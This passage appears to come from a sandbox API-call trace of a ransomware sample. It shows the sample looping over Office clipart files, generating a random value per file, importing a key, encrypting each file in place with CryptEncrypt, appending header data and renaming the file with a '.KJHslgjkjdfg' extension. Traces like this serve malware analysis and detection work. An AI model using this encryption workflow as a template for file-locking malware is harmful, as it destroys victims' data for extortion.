hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.784] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa520, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa520, lpOverlapped=0x0) returned 1 [0203.785] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa520, dwBufLen=0xa520 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa520) returned 1 [0203.785] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.786] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa520, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa520, lpOverlapped=0x0) returned 1 [0203.786] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.786] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa5f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.786] SetEndOfFile (hFile=0x130) returned 1 [0203.789] GetProcessHeap () returned 0x2ef0000 [0203.789] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.789] GetProcessHeap () returned 0x2ef0000 [0203.789] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.789] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198113.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198113.wmf.kjhslgjkjdfg")) returned 1 [0203.791] CloseHandle (hObject=0x130) returned 1 [0203.791] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa3b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198226.WMF", cAlternateFileName="")) returned 1 [0203.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.792] GetProcessHeap () returned 0x2ef0000 [0203.792] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.792] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.792] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.792] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0203.795] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.795] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.795] GetProcessHeap () returned 0x2ef0000 [0203.795] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.795] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.795] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.795] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.796] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.796] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.796] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.796] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.796] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.796] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.796] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.796] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa3b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa3b2, lpOverlapped=0x0) returned 1 [0203.798] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa3c0, dwBufLen=0xa3c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa3c0) returned 1 [0203.798] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.798] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa3c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa3c0, lpOverlapped=0x0) returned 1 [0203.799] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.799] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.799] SetEndOfFile (hFile=0x130) returned 1 [0203.802] GetProcessHeap () returned 0x2ef0000 [0203.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.802] GetProcessHeap () returned 0x2ef0000 [0203.802] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.802] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198226.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198226.wmf.kjhslgjkjdfg")) returned 1 [0203.804] CloseHandle (hObject=0x130) returned 1 [0203.804] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa69e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198234.WMF", cAlternateFileName="")) returned 1 [0203.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.805] GetProcessHeap () returned 0x2ef0000 [0203.806] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.806] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.806] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.806] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0203.809] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.809] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.809] GetProcessHeap () returned 0x2ef0000 [0203.809] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.809] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.809] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.809] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.809] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.810] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.810] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.810] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.810] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.810] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.810] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa69e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa69e, lpOverlapped=0x0) returned 1 [0203.812] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa6a0, dwBufLen=0xa6a0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa6a0) returned 1 [0203.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.813] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa6a0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa6a0, lpOverlapped=0x0) returned 1 [0203.813] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.813] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa774, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.813] SetEndOfFile (hFile=0x130) returned 1 [0203.816] GetProcessHeap () returned 0x2ef0000 [0203.816] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.817] GetProcessHeap () returned 0x2ef0000 [0203.817] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.817] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198234.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198234.wmf.kjhslgjkjdfg")) returned 1 [0203.818] CloseHandle (hObject=0x130) returned 1 [0203.818] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56536e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6f9c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198372.WMF", cAlternateFileName="")) returned 1 [0203.819] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.819] GetProcessHeap () returned 0x2ef0000 [0203.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.820] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.820] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.820] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.823] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.823] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.823] GetProcessHeap () returned 0x2ef0000 [0203.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.823] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.823] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.823] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.823] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.823] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.824] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.824] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.824] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.824] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.824] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6f9c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6f9c, lpOverlapped=0x0) returned 1 [0203.825] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6fa0, dwBufLen=0x6fa0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6fa0) returned 1 [0203.825] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.825] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6fa0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6fa0, lpOverlapped=0x0) returned 1 [0203.826] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.826] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.826] SetEndOfFile (hFile=0x130) returned 1 [0203.829] GetProcessHeap () returned 0x2ef0000 [0203.829] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.829] GetProcessHeap () returned 0x2ef0000 [0203.829] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.829] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198372.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198372.wmf.kjhslgjkjdfg")) returned 1 [0203.830] CloseHandle (hObject=0x130) returned 1 [0203.831] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1925100, ftCreationTime.dwHighDateTime=0x1be3a08, ftLastAccessTime.dwLowDateTime=0x6600bcb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1925100, ftLastWriteTime.dwHighDateTime=0x1be3a08, nFileSizeHigh=0x0, nFileSizeLow=0x9d6c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0198377.WMF", cAlternateFileName="")) returned 1 [0203.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0198377.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0198377.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.832] GetProcessHeap () returned 0x2ef0000 [0203.832] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.833] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.833] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.833] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.835] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.835] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.835] GetProcessHeap () returned 0x2ef0000 [0203.835] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.835] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.835] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.835] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.835] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.836] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.836] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.836] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.836] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.836] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.836] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x9d6c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x9d6c, lpOverlapped=0x0) returned 1 [0203.837] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d70, dwBufLen=0x9d70 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9d70) returned 1 [0203.838] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.838] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9d70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, 